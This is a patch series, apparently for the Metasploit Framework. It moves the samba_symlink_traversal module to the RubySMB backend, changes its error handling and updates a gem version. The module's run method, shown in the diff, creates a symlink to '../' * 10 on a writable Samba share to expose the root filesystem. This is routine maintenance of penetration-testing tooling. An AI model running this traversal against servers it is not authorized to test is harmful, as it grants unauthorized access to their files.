From a2f8d52f41ece3b263e0bc9d7b538f9f6adc11ed Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 24 Apr 2026 13:20:04 -0400 Subject: [PATCH 1/3] Use RubySMB for samba_symlink_traversal SMB1 symlink --- lib/rex/proto/smb/simple_client.rb | 2 +- modules/auxiliary/admin/smb/samba_symlink_traversal.rb | 10 ++++++---- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/rex/proto/smb/simple_client.rb b/lib/rex/proto/smb/simple_client.rb index d79af366cd5a3..d4ac580abe2f8 100644 --- a/lib/rex/proto/smb/simple_client.rb +++ b/lib/rex/proto/smb/simple_client.rb @@ -279,7 +279,7 @@ def create_pipe(path, perm = 'o') def trans_pipe(fid, data, no_response = nil) session_lifetime do client.trans_named_pipe(fid, data, no_response) - end + end end def negotiated_smb_version diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 0d23da474befd..fc3201960bab2 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -50,17 +50,19 @@ def initialize def run print_status('Connecting to the server...') - connect(versions: [1]) + connect(versions: [1], backend: :ruby_smb) smb_login print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...") simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...") - simple.client.symlink(datastore['SMBTARGET'], '../' * 10) + simple.client.last_tree.set_unix_link(symlink: datastore['SMBTARGET'], target: '../' * 10) print_status('Now access the following share to browse the root filesystem:') - print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\") - print_line('') + print_status(" \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\") + rescue RubySMB::Error::UnexpectedStatusCode => e + print_error(e.message) + elog(e) end end From 6ab962e96d1dc3ffa2b876c1c26a557df24fdfd1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 27 Apr 2026 15:15:54 -0400 Subject: [PATCH 2/3] Improve error handling --- modules/auxiliary/admin/smb/samba_symlink_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index fc3201960bab2..f7dcf368e0a70 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -62,7 +62,7 @@ def run print_status('Now access the following share to browse the root filesystem:') print_status(" \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\") rescue RubySMB::Error::UnexpectedStatusCode => e - print_error(e.message) - elog(e) + elog(e.message, error: e) + fail_with(Failure::UnexpectedReply, e.message) end end From 196202c90a614e1b60e73c0dad444b66824f9208 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 8 Jun 2026 09:23:10 -0400 Subject: [PATCH 3/3] Bump RubySMB --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index ff926fbbbb3d3..4e8111559b3d8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -612,7 +612,7 @@ GEM ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.3.19) + ruby_smb (3.3.21) bindata (= 2.4.15) openssl-ccm openssl-cmac